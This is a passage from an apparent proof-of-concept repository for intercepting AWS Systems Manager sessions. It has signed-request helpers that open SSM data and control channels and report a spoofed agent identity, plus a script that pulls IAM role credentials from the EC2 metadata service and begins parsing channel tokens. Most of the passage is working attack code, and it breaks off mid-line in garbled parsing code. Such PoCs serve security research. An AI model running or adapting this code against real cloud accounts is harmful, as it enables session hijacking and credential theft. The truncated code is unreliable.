canonical_headers = 'content-type:' + content_type + '\n' + 'host:' + host + '\n' + 'x-amz-date:' + amz_date + '\n' 97 | 98 | signed_headers = 'content-type;host;x-amz-date' 99 | 100 | payload_hash = hashlib.sha256(request_parameters.encode('utf-8')).hexdigest() 101 | 102 | canonical_request = method + '\n' + canonical_uri + '\n' + canonical_querystring + '\n' + canonical_headers + '\n' + signed_headers + '\n' + payload_hash 103 | 104 | algorithm = 'AWS4-HMAC-SHA256' 105 | credential_scope = date_stamp + '/' + region + '/' + service + '/' + 'aws4_request' 106 | string_to_sign = algorithm + '\n' + amz_date + '\n' + credential_scope + '\n' + hashlib.sha256(canonical_request.encode('utf-8')).hexdigest() 107 | 108 | signing_key = getSignatureKey(secret_key, date_stamp, region, service) 109 | 110 | signature = hmac.new(signing_key, (string_to_sign).encode('utf-8'), hashlib.sha256).hexdigest() 111 | 112 | authorization_header = algorithm + ' ' + 'Credential=' + access_key + '/' + credential_scope + ', ' + 'SignedHeaders=' + signed_headers + ', ' + 'Signature=' + signature 113 | 114 | headers = {'Content-Type':content_type, 115 | 'X-Amz-Date':amz_date, 116 | 'X-Amz-Security-Token':session_token, 117 | 'Authorization':authorization_header} 118 | 119 | r = requests.post(endpoint+"v1/data-channel/"+sessionid, data=request_parameters, headers=headers) 120 | 121 | print("Create Data Channel -> Response (%s)" % (r.status_code)) 122 | return r.text 123 | 124 | 125 | 126 | 127 | def post_control_channel(instanceid, A_access_key, A_secret_access_key, A_session_token): 128 | method = 'POST' 129 | service = 'ssmmessages' 130 | host = 'ssmmessages.us-east-1.amazonaws.com' 131 | region = 'us-east-1' 132 | endpoint = 'https://ssmmessages.us-east-1.amazonaws.com/' 133 | content_type = 'application/json' 134 | 135 | request_parameters = {} 136 | request_parameters["MessageSchemaVersion"] = "1.0" 137 | request_parameters["RequestId"] = str(uuid.uuid4()) 138 | 139 | request_parameters = json.dumps(request_parameters) 140 | 141 | access_key = A_access_key 142 | secret_key = A_secret_access_key 143 | session_token = A_session_token 144 | 145 | t = datetime.datetime.utcnow() 146 | amz_date = t.strftime('%Y%m%dT%H%M%SZ') 147 | date_stamp = t.strftime('%Y%m%d') # Date w/o time, used in credential scope 148 | 149 | canonical_uri = '/v1/control-channel/'+instanceid 150 | 151 | canonical_querystring = '' 152 | 153 | canonical_headers = 'content-type:' + content_type + '\n' + 'host:' + host + '\n' + 'x-amz-date:' + amz_date + '\n' 154 | 155 | signed_headers = 'content-type;host;x-amz-date' 156 | 157 | payload_hash = hashlib.sha256(request_parameters.encode('utf-8')).hexdigest() 158 | 159 | canonical_request = method + '\n' + canonical_uri + '\n' + canonical_querystring + '\n' + canonical_headers + '\n' + signed_headers + '\n' + payload_hash 160 | 161 | algorithm = 'AWS4-HMAC-SHA256' 162 | credential_scope = date_stamp + '/' + region + '/' + service + '/' + 'aws4_request' 163 | string_to_sign = algorithm + '\n' + amz_date + '\n' + credential_scope + '\n' + hashlib.sha256(canonical_request.encode('utf-8')).hexdigest() 164 | 165 | signing_key = getSignatureKey(secret_key, date_stamp, region, service) 166 | 167 | signature = hmac.new(signing_key, (string_to_sign).encode('utf-8'), hashlib.sha256).hexdigest() 168 | 169 | authorization_header = algorithm + ' ' + 'Credential=' + access_key + '/' + credential_scope + ', ' + 'SignedHeaders=' + signed_headers + ', ' + 'Signature=' + signature 170 | 171 | headers = {'Content-Type':content_type, 172 | 'X-Amz-Date':amz_date, 173 | 'X-Amz-Security-Token':session_token, 174 | 'Authorization':authorization_header} 175 | 176 | r = requests.post(endpoint+"v1/control-channel/"+instanceid, data=request_parameters, headers=headers) 177 | 178 | print("Create Control Channel -> Response (%s)" % (r.status_code)) 179 | return r.text 180 | 181 | 182 | def post_base(ipaddress, instanceid, A_access_key, A_secret_access_key, A_session_token): 183 | method = 'POST' 184 | service = 'ssm' 185 | host = 'ssm.us-east-1.amazonaws.com' 186 | region = 'us-east-1' 187 | endpoint = 'https://ssm.us-east-1.amazonaws.com/' 188 | content_type = 'application/x-amz-json-1.1' 189 | amz_target = 'AmazonSSM.UpdateInstanceInformation' 190 | 191 | request_parameters = {} 192 | request_parameters["AgentName"] = "amazon-ssm-agent" 193 | request_parameters["AgentStatus"] = "Active" 194 | request_parameters["AgentVersion"] = "2.3.978.0" 195 | request_parameters["ComputerName"] = "ip-172-31.21.28.ec2.internal" 196 | request_parameters["IPAddress"] = ipaddress 197 | request_parameters["InstanceId"] = instanceid 198 | request_parameters["PlatformName"] = "Ubuntu" 199 | request_parameters["PlatformType"] = "Linux" 200 | request_parameters["PlatformVersion"] = "20.04" 201 | 202 | request_parameters = json.dumps(request_parameters) 203 | 204 | access_key = A_access_key 205 | secret_key = A_secret_access_key 206 | session_token = A_session_token 207 | 208 | t = datetime.datetime.utcnow() 209 | amz_date = t.strftime('%Y%m%dT%H%M%SZ') 210 | date_stamp = t.strftime('%Y%m%d') # Date w/o time, used in credential scope 211 | 212 | canonical_uri = '/' 213 | 214 | canonical_querystring = '' 215 | 216 | canonical_headers = 'content-type:' + content_type + '\n' + 'host:' + host + '\n' + 'x-amz-date:' + amz_date + '\n' + 'x-amz-target:' + amz_target + '\n' 217 | 218 | signed_headers = 'content-type;host;x-amz-date;x-amz-target' 219 | 220 | payload_hash = hashlib.sha256(request_parameters.encode('utf-8')).hexdigest() 221 | 222 | canonical_request = method + '\n' + canonical_uri + '\n' + canonical_querystring + '\n' + canonical_headers + '\n' + signed_headers + '\n' + payload_hash 223 | 224 | algorithm = 'AWS4-HMAC-SHA256' 225 | credential_scope = date_stamp + '/' + region + '/' + service + '/' + 'aws4_request' 226 | string_to_sign = algorithm + '\n' + amz_date + '\n' + credential_scope + '\n' + hashlib.sha256(canonical_request.encode('utf-8')).hexdigest() 227 | 228 | signing_key = getSignatureKey(secret_key, date_stamp, region, service) 229 | 230 | signature = hmac.new(signing_key, (string_to_sign).encode('utf-8'), hashlib.sha256).hexdigest() 231 | 232 | authorization_header = algorithm + ' ' + 'Credential=' + access_key + '/' + credential_scope + ', ' + 'SignedHeaders=' + signed_headers + ', ' + 'Signature=' + signature 233 | 234 | headers = {'Content-Type':content_type, 235 | 'X-Amz-Date':amz_date, 236 | 'X-Amz-Target':amz_target, 237 | 'X-Amz-Security-Token':session_token, 238 | 'Authorization':authorization_header} 239 | 240 | r = requests.post(endpoint, data=request_parameters, headers=headers) 241 | 242 | print("Post Base -> Response (%s)" % (r.status_code)) 243 | -------------------------------------------------------------------------------- /ssm-session-interception/requirements.txt: -------------------------------------------------------------------------------- 1 | websocket-client 2 | -------------------------------------------------------------------------------- /ssm-session-interception/ssm-session-interception-poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import requests, json, time, uuid 4 | import websocket 5 | import aws_requests 6 | import aws_msg 7 | 8 | def retrieve_meta() -> json: 9 | resp = requests.get("http://169.254.169.254/latest/dynamic/instance-identity/document") 10 | return json.loads(resp.text) 11 | 12 | 13 | def retrieve_role_name() -> str: 14 | resp = requests.get("http://169.254.169.254/latest/meta-data/iam/security-credentials/") 15 | return resp.text 16 | 17 | 18 | def retrieve_role_creds(role_name) -> json: 19 | headers = { "X-Aws-Ec2-Metadata-Token-Ttl-Seconds": "21600" } 20 | resp = requests.put("http://169.254.169.254/latest/api/token", headers=headers) 21 | api_token = resp.text 22 | 23 | headers = { "X-Aws-Ec2-Metadata-Token": api_token } 24 | resp = requests.get("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role_name, headers=headers) 25 | return json.loads(resp.text) 26 | 27 | 28 | def retrieve_role_creds_from_file(file_name): 29 | with open(file_name, 'r') as r: 30 | return json.loads("".join(r.readlines())) 31 | 32 | 33 | def parse_control_channel(data): 34 | lines = data.split("\n") 35 | access_token = lines[2][lines[2].find(">")+1:lines[2].find("")+1:lines[3].find("")+1:lines[2].find("